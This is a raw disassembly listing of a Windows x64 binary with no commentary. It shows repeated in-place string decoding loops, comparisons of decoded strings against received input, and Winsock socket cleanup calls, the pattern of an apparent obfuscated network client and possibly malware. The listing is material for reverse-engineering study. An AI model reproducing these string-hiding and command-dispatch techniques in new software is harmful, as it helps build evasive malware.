xor byte [rsp + 0x68], 0x39
xor byte [rsp + 0x69], 0x3a
xor al, 0x3b
mov byte [rsp + 0x6a], al
lea rcx, [rbp + 0x650]
test r10b, r10b
cmovne rcx, r9
lea rdx, [rsp + 0x64]
call fcn.14005db4c
test rax, rax
setne byte [rsp + 0x50]
movsd xmm0, qword [str.fCG_K]
movsd qword [rbp - 0x38], xmm0
mov eax, dword [0x1400924a8]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x1400924ac]
mov byte [rbp - 0x2c], al
mov r8d, esi
cmp edi, 2
jl 0x140021ea9
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400926e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092700]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
mov eax, dword [0x140092730]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.fCG_K]
pxor xmm2, xmm1
movd dword [rbp - 0x38], xmm2
movdqa xmm3, xmmword [0x1400926f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092700]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x34]
pxor xmm2, xmm1
movd dword [rbp - 0x34], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x38]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140021ec0
lea rcx, [rbp + 0x650]
cmp qword [rbp + 0x668], 0x10
setae r11b
mov r10, qword [rbp + 0x650]
cmovae rcx, r10
lea rdx, [rbp - 0x38]
sub rdx, rcx
movzx eax, byte [rcx]
cmp al, byte [rcx + rdx]
jne 0x140021f2c
inc rcx
test al, al
jne 0x140021f17
mov dword [rsp + 0x54], esi
jmp 0x140021f35
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x54], ecx
movsd xmm0, qword [0x1400922e8]
movsd qword [rbp - 0x78], xmm0
mov eax, dword [0x1400922f0]
mov dword [rbp - 0x70], eax
movzx eax, byte [0x1400922f4]
mov byte [rbp - 0x6c], al
mov r8d, esi
cmp edi, 2
jl 0x14002206a
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400926e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092700]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
mov eax, dword [0x140092730]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x1400922e8]
pxor xmm2, xmm1
movd dword [rbp - 0x78], xmm2
movdqa xmm3, xmmword [0x1400926f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092700]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x74]
pxor xmm2, xmm1
movd dword [rbp - 0x74], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140022080
lea rax, [rbp + 0x650]
test r11b, r11b
cmovne rax, r10
lea rdx, [rbp - 0x78]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x1400220dc
inc rax
test cl, cl
jne 0x1400220c7
mov dword [rsp + 0x64], esi
jmp 0x1400220e5
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x64], ecx
mov eax, dword [str.qWNb9]
mov dword [rsp + 0x5c], eax
movzx eax, byte [0x1400922fc]
mov byte [rsp + 0x5c], 0x44
xor byte [rsp + 0x5d], 0x36
xor byte [rsp + 0x5e], 0x37
xor byte [rsp + 0x5f], 0x38
xor al, 0x39
mov byte [rsp + 0x60], al
lea rax, [rbp + 0x650]
test r11b, r11b
cmovne rax, r10
lea rdx, [rsp + 0x5c]
sub rdx, rax
movzx ecx, byte [rax]
cmp cl, byte [rax + rdx]
jne 0x14002213b
inc rax
test cl, cl
jne 0x140022126
mov dword [rsp + 0x5c], esi
jmp 0x140022144
sbb ecx, ecx
or ecx, 1
mov dword [rsp + 0x5c], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rax
movups xmm0, xmmword [0x1400924e0]
movups xmmword [rbp - 0x78], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140022302
mov r8d, esi
cmp edi, 2
jl 0x1400222c1
movdqa xmm5, xmmword [0x1400926e0]
mov edx, esi
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x74]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400221c0
jmp 0x140022302
lea r9, [rbp - 0x78]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400222d0
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], send
lea rax, [rbp - 0x78]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140022322
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x110]
call fcn.140003650
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0x560]
call fcn.140007190
nop
mov rbx, qword [rbp + 0x528]
cmp rbx, qword [rbp + 0x530]
jne 0x14002274b
movups xmm0, xmmword [0x140091ed0]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140091ee0]
movups xmmword [rbp + 0xc0], xmm1
movups xmm0, xmmword [0x140091ef0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140091f00]
movups xmmword [rbp + 0xe0], xmm1
movups xmm0, xmmword [0x140091f10]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm1, qword [0x140091f20]
movsd qword [rbp + 0x100], xmm1
movzx eax, word [0x140091f28]
mov word [rbp + 0x108], ax
mov r8d, esi
cmp edi, 2
jl 0x140022527
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140022420
cmp r8d, 0x5a
jge 0x140022572
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5a
jl 0x140022540
lea rdx, [rbp + 0xb0]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str.EWBK:]
mov dword [rbp + 0x4a8], eax
movzx eax, word [0x140091d58]
mov word [rbp + 0x4ac], ax
mov byte [rbp + 0x4a8], WSACleanup
xor byte [rbp + 0x4a9], 0x36
xor byte [rbp + 0x4aa], 0x37
xor byte [rbp + 0x4ab], 0x38
xor byte [rbp + 0x4ac], 0x39
xor byte [rbp + 0x4ad], 0x3a
lea rcx, [rbp + 0x4a8]
call fcn.14002b2b8
nop
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x140022630
mov rdx, qword [rbp + 0x538]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022619
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258a4
call fcn.14005bc54
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x140022671
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002266c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258aa
call fcn.14005bc54
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x1400226d9
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400226d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258b0
call fcn.14005bc54
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x1400226eb
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14002197c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021977
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025718
call fcn.14005bc54
mov eax, 1
jmp 0x140021cd4
call fcn.14000bc30
mov qword [0x1409ffc00], rax
cmp rax, 0xffffffffffffffff
je 0x1400227a6
mov dword [rbp + 0x4a8], esi
lea rcx, [rbp + 0x4a8]
mov qword [rsp + 0x28], rcx
mov byte [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140013630
test rax, rax
jne 0x140022798
mov rcx, qword [0x1409ffc00]
call fcn.14000c0e0
jmp 0x1400227a6
cmp qword [0x1409ffc00], 0
jne 0x140022b2c
movups xmm0, xmmword [0x140092020]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x140092030]
movups xmm0, xmmword [0x140092040]
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x140092050]
movups xmm0, xmmword [0x140092060]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm0
mov r8d, esi
cmp edi, 2
jl 0x140022931
movdqa xmm5, xmmword [0x1400926e0]
mov edx, esi
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x1c]
mov r8d, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x50
jl 0x140022830
jmp 0x140022972
lea r9, [rbp - 0x20]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x50
jl 0x140022940
lea rdx, [rbp - 0x20]
lea rcx, [0x1409febe0]
call fcn.140017750
mov rcx, rax
call fcn.1400179c0
mov eax, dword [str.EWBK:]
mov dword [rsp + 0x38], eax
movzx eax, word [0x140091d58]
mov word [rsp + 0x3c], ax
mov byte [rsp + 0x38], WSACleanup
xor byte [rsp + 0x39], 0x36
xor byte [rsp + 0x3a], 0x37
xor byte [rsp + 0x3b], 0x38
xor byte [rsp + 0x3c], 0x39
xor byte [rsp + 0x3d], 0x3a
lea rcx, [rsp + 0x38]
call fcn.14002b2b8
nop
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x140022a1b
mov rdx, qword [rbp + 0x538]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022a04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258a4
call fcn.14005bc54
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rsi
mov rdx, qword [rbp + 0x4c8]
cmp rdx, 0x10
jb 0x140022a5c
inc rdx
mov rcx, qword [rbp + 0x4b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022a57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258aa
call fcn.14005bc54
mov qword [rbp + 0x4c0], rsi
mov qword [rbp + 0x4c8], send
mov byte [rbp + 0x4b0], 0
lea rcx, [rbp + 0x5d0]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x140022ac4
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022abe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258b0
call fcn.14005bc54
nop
mov rcx, qword [rbp + 0x568]
test rcx, rcx
je 0x140022ad6
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x560], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x588]
cmp rdx, 0x10
jb 0x14002197c
inc rdx
mov rcx, qword [rbp + 0x570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021977
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025718
jmp 0x140021977
movsd xmm0, qword [str.pNR_LNZQ_q__C]
movsd qword [rbp - 0x68], xmm0
mov eax, dword [0x140092498]
mov dword [rbp - 0x60], eax
movzx eax, word [0x14009249c]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x14009249e]
mov byte [rbp - 0x5a], al
mov r8d, esi
cmp edi, 2
jl 0x140022c6c
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400926e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092700]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
mov eax, dword [0x140092730]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.pNR_LNZQ_q__C]
pxor xmm2, xmm1
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x1400926f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092700]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
pxor xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x68]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140022c80
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], send
lea rax, [rbp - 0x68]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140022cd2
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x130]
call fcn.140003650
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x560]
call fcn.1400069a0
nop
cmp byte [rax + 0x20], 0
je 0x1400258b6
mov qword [rbp + 0x4e8], rsi
mov qword [rbp + 0x4f8], rsi
mov qword [rbp + 0x500], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x4e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4f8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], send
mov byte [rax], 0
cmp byte [rbp + 0x208], 0
je 0x140022dab
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
jb 0x140022d94
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022d8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400258bc
call fcn.14005bc54
movdqa xmm0, xmmword [0x1400926d0]
movdqu xmmword [rbp + 0x1f8], xmm0
mov byte [rbp + 0x1e8], 0
lea rcx, [rbp + 0x4e8]
mov r10, qword [rbp + 0x4e8]
mov rbx, qword [rbp + 0x4f8]
cmp qword [rbp + 0x500], 0x10
jb 0x140022dd2
mov r15, r10
add rbx, r10
jmp 0x140022ddc
add rbx, rcx
lea r15, [rbp + 0x4e8]
mov qword [rbp + 0x508], rsi
mov rcx, rsi
mov qword [rbp + 0x518], rcx
mov r8d, 7
mov qword [rbp + 0x520], r8
mov word [rbp + 0x508], si
mov rdx, rbx
sub rdx, r15
cmp rdx, r8
jbe 0x140022e30
lea rcx, [rbp + 0x508]
call fcn.1400107f0
mov rcx, rsi
mov qword [rbp + 0x518], rcx
mov r10, qword [rbp + 0x4e8]
mov r8, qword [rbp + 0x520]
lea rax, [rbp + 0x508]
mov qword [rsp + 0x40], rax
cmp r15, rbx
je 0x140022eb3
movzx edi, byte [rsp + 0x50]
movsx r9d, byte [r15]
cmp rcx, r8
jae 0x140022e79
lea rax, [rcx + 1]
mov qword [rbp + 0x518], rax
lea rax, [rbp + 0x508]
cmp r8, 8
cmovae rax, qword [rbp + 0x508]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], si
jmp 0x140022e8e
movzx r8d, dil
mov edx, 1
lea rcx, [rbp + 0x508]
call fcn.140010960
inc r15
cmp r15, rbx
je 0x140022ea6
mov r8, qword [rbp + 0x520]
mov rcx, qword [rbp + 0x518]
jmp 0x140022e46
mov r10, qword [rbp + 0x4e8]
mov edi, dword [0x1400a3c50]
movups xmm0, xmmword [str.sYELWSOYRV__6n]
movups xmmword [rbp + 0x198], xmm0
movups xmm1, xmmword [str.__qd]
movups xmmword [rbp + 0x1a8], xmm1
movzx eax, word [0x140091e78]
mov word [rbp + 0x1b8], ax
mov r8d, esi
cmp edi, 2
jl 0x140023037
movdqa xmm5, xmmword [0x1400926e0]
movdqa xmm4, xmmword [0x140092760]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092700]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092730]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x19c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092720]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022f30
cmp r8d, 0x22
jge 0x140023082
movsxd rax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140023050
lea rax, [rbp + 0x4e8]
cmp qword [rbp + 0x500], 0x10
cmovae rax, r10
lea rdx, [rbp + 0x198]
sub rdx, rax
nop
movzx ecx, byte [rax]
